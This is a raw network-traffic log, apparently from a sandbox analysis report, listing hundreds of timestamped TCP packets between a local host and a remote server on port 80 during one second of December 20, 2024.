Dec 20, 2024 21:13:26.599287987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.599443913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.599608898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.600450039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.600509882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.600682020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.601267099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.601597071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.601789951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.601922989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.602904081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.602967024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.603075027 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.604001999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.604074001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.604106903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.604533911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.605174065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.605302095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.605381966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.605381966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.606319904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.606432915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.606456995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.606869936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.607517004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.607661963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.607712984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.608664989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.608741045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.608799934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.609280109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.609922886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.609961987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.610073090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.611143112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.611341953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.611773014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.612236977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.612384081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.612405062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.612502098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.613498926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.613607883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.613617897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.613878965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.614548922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.614620924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.614810944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.615088940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.615789890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.615973949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.616374016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.616904020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.617157936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.617182970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.617286921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.618097067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.618145943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.618179083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.619321108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.619333982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.619435072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.619498968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.619642019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.620471954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.620842934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.621262074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.621628046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.621707916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.621741056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.621939898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.622823000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.622920036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.622927904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.623024940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.623965979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.624083042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.624118090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.624280930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.625186920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.625288963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.625329971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.626379967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.626487017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.626559973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.626811028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.627482891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.627582073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.627623081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.628703117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.628791094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.628822088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.629101038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.629857063 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.630011082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.630100965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.630206108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.631066084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.631335020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.761873007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.761936903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.761962891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.762036085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.762479067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.762573004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.762643099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.762643099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.763607979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.763648033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.763747931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.763747931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.764765978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.764910936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.764993906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.765396118 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.765928030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.766051054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.766163111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.767184019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.767318010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.767354965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.768347025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.768435001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.768466949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.768640041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.769468069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.769587040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.769742966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.770658016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.770896912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.770931005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.771881104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.772144079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.772243023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.772295952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.773020029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.773125887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.773166895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.774192095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.774285078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.774333000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.774461985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.775398970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.775535107 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.775536060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.775748014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.776787996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.776876926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.776913881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.777766943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.777887106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.777954102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.778435946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.778954029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.779165030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.779189110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.779450893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.780169964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.780265093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.780335903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.780673981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.781327009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.781409025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.781744957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.783395052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.783555031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.783556938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.783674002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.783699036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.783710957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.783783913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.783783913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.784822941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.784929991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.784940958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.785077095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.785973072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.786058903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.786484957 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.787290096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.787379980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.787592888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.788445950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.788635969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.788686991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.788853884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.789699078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.789752007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.789789915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.789877892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.790771008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.790899992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.790913105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.791053057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.792064905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.792177916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.792244911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.793112993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.793314934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.793459892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.794245005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.794329882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.794454098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.794780016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.795356035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.795559883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.795589924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.795831919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.796596050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.796700954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.796809912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.796899080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.797780037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.797843933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.797882080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.798928976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.798929930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.799086094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.799089909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.799264908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.800144911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.800338030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.800564051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.801343918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.801435947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.801439047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.801531076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.802449942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.802644014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.803066969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.803710938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.803816080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.803864956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.805042028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.805171967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.805248976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.805439949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.806174040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.806242943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.806396961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.807163000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.807240009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.807305098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.807775974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.808353901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.808525085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.808605909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.809504032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.809619904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.809638023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.810662985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.810777903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.810805082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.810939074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.811857939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.811986923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.812345982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.813060999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.813184023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.813314915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.814322948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.814404964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.814445019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.814590931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.815387964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.815529108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.815553904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.815717936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.816540956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.816665888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.816696882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.817179918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.817712069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.817784071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.817822933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.817841053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.818955898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.819221973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.819325924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.820151091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.820334911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.820357084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.821285963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.821368933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.821463108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.821800947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.822432995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.822577953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.822609901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.822665930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.823606968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.823852062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.954097033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.954150915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.954229116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.954298973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.954514980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.954766989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.954797983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.954886913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.954910040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.954953909 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.955960989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.956032991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.956043959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.956171036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.957257032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.957427025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.957717896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.958292961 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.958405018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.958559036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.959501028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.959613085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.959625959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.959688902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.960705042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.960753918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.960836887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.961819887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.961930037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.961935997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.962176085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.963011026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.963217020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.963249922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.964272976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.964395046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.964457035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.964771986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.965596914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.965692997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.965775013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.965805054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.966808081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.966989994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.967323065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:26.967710972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:26.967796087 CET	49887	80	192.168.2.6	31.41.244.11
